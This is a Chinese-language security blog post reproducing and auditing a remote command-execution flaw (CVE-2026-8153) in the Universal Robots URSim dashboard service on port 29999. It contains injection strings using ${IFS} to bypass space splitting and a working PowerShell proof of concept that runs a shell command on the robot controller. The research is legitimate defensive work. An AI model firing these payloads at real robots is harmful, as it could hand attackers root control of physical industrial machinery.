文章总结: 本文详细分析了UR机器人CVE-2026-8153漏洞的复现与审计过程,通过环境搭建、代码审计追溯漏洞链,指出DashboardServer在29999端口无认证接受任意TCP连接,导致用户输入未经滤直接拼接至shell命令,最终通过构造payload实现RCE,并提供了具体复现POC。 综合评分: 78 文章分类: 漏洞分析,代码审计,iot安全,其他
机器人安全-UR机器人RCE漏洞复现与审计
原创
ZAC安全 ZAC安全
ZAC安全
2026年6月8日 01:43 韩国
在小说阅读器读本章
去阅读
机器人安全-UR机器人RCE漏洞复现与审计
ZAC安全
2026
////前言
最近在搞机器人安全,研究一下今年新出的CVE-2026-8153,总体分析下来还是比较简单的,而且也新挖到一些其他漏洞。
1
01
环境搭建
拉取一下docker
docker pull universalrobots/ursim_e-series:5.19.0
然后启动docker
docker run -d ^
–name ursim_vuln ^
-p 5900:5900 ^
-p 6080:6080 ^
-p 29999:29999 ^
-p 30001:30001 ^
-p 30002:30002 ^
-p 30003:30003 ^
-p 30004:30004 ^
-e ROBOT_MODEL=UR5 ^
universalrobots/ursim_e-series:5.19.0
然后可以看到官方的WebUI界面
2
01
代码审计
Docker进入UR机器人的环境中
docker exec -it ursim_vuln bash
找一下jar文件
find / -name “polyscope*.jar” 2>/dev/null | head -20
然后把jar文件放到主机当中
docker cp ursim_vuln:/ursim/GUI/bundle/. ursim_code\jars\
利用jadx反编译
& “jadx\bin\jadx.bat” -d ursim_code\decompiled ursim_code\jars
漏洞点是public static String getDaemonPid(String daemon) 函数
接受参数拼接然后进入tryToExecuteCommand函数中的Runtime.getRuntime().exec(command)
这里需要理解 Java中的Runtime.exec()的两种调用形式的安全差异:
exec(String):单字符串传入,JVM 内部会按空格分词,无法注入 shell 特殊字符,本身安全
exec(String[]):数组传入,JVM 直接将argv[0]作为可执行文件、argv[1]…作为参数,同样不经过 shell,理论上也安全
然而此处传入的数组是 ["/bin/sh", "-c", "ps aux | grep " + daemon + " ..."]。exec(String[])确实不经过 shell 分词,但它把 /bin/sh作为可执行文件,-c作为第一个参数、整个拼接后的命令字符串作为第二个参数传给了 /bin/sh。/bin/sh -c的语义就是”让 shell 来解释第二个参数”
因此,无论Runtime.exec本身多安全,只要第三个元素是含有未过滤用户输入的 shell 命令字符串,RCE就在shell 解释阶段发生
getDaemonPid(daemon)的调用方是Profiling类的私有方法doDaemonProfiling。
daemons 数组中的每个元素都原封不动地传入 getDaemonPid(),中间没有任何验证或过滤。
继续向上追溯,doDaemonProfiling 被 profileDaemons 调用:
daemons 数组直接来自上层,profileDaemons同样没有对内容做任何校验。
PROFILING_DAEMON的模式是 “profile [-c] -d
截取出 daemonList后,StringUtils.divide(” “, daemonList)按空格切割成 String[]。如果 payload 中不含空格,divide 无法切割,整个 payload 就会变成 daemons[0]单个元素传入,最终完整地到达 getDaemonPid()。
所以如果命令中有空格的话就需要用${IFS}来进行绕过。
profile -d a;sleep 5;#
→ getArgument(0) → “a;sleep 5;#”
→ divide(” “, “a;sleep 5;#”) →[“a;sleep”, “5;#”]
→getDaemonPid(“a;sleep”) → sleep 没有参数,执行失败
profile -d a;sleep${IFS}5;#
→ divide(” “, “a;sleep${IFS}5;#”) →[“a;sleep${IFS}5;#”](整体传入,无空格无分割)
→ shell 解析 ${IFS} 为空格 → sleep 5 执行
ProfileDashBoardAction.execute()是被ActionLocator发起调用的。ActionLocator是 StandardInputProcessor的内部组件:
StandardInputProcessor.process() 的调用方是 DashboardActionTask:
继续回溯,定位到DashboardClient中的run
其中构造函数中无任何 IP 白名单、无认证握手、无 Token 校验,TCP 连接建立即发送欢迎串,随即进入命令读取循环,readLine() 读到的每一行都原封不动的进入DashboardActionTask提交执行,中间不做任何过滤
serverSocket.accept() 对所有来源 IP 无差别接受,返回的 Socket 直接传给 DashboardClient。没有来源检查,没有连接数限制的安全控制,每个入站TCP 连接都能立即进入命令处理流程。
然后找到最开始的入口,DashBoardServer硬编码29999端口
new ServerSocket(port) 不传 backlog 和 bindAddr 参数,默认绑定 0.0.0.0,即所有网卡接口。机器人只要有网络连接,任意来源的 IP 都可以在 29999 端口建立 TCP 连接,无需任何凭证。
这是整条漏洞链的起点:外网 → TCP 29999(无认证) → 命令原样传入 → shell 注入→ root 执行。
现在就可以构造复现poc了
powershell -NoProfile -Command “$c=New-Object Net.Sockets.TcpClient(‘127.0.0.1’,29999);$s=$c.GetStream();Start-Sleep -Milliseconds 500;$b=[Text.Encoding]::ASCII.GetBytes(‘profile -d a;id>>/tmp/poc.txt;#’+[char]10);$s.Write($b,0,$b.Length);Start-Sleep -Seconds 2;$c.Close()”
RCE成功!如果是真实环境的情况下就可以完全的接管机器人的面板进行操作了。
宣传页
ZAC安全
本人微信:zacaq999 文章内容如有任何错误或者对不上号的,可以加我微信,感谢各位大佬们的指点
安全宝典欢迎各位大佬以投稿方式免费进入!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:ZAC安全 ZAC安全 ZAC安全《机器人安全-UR机器人RCE漏洞复现与审计》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论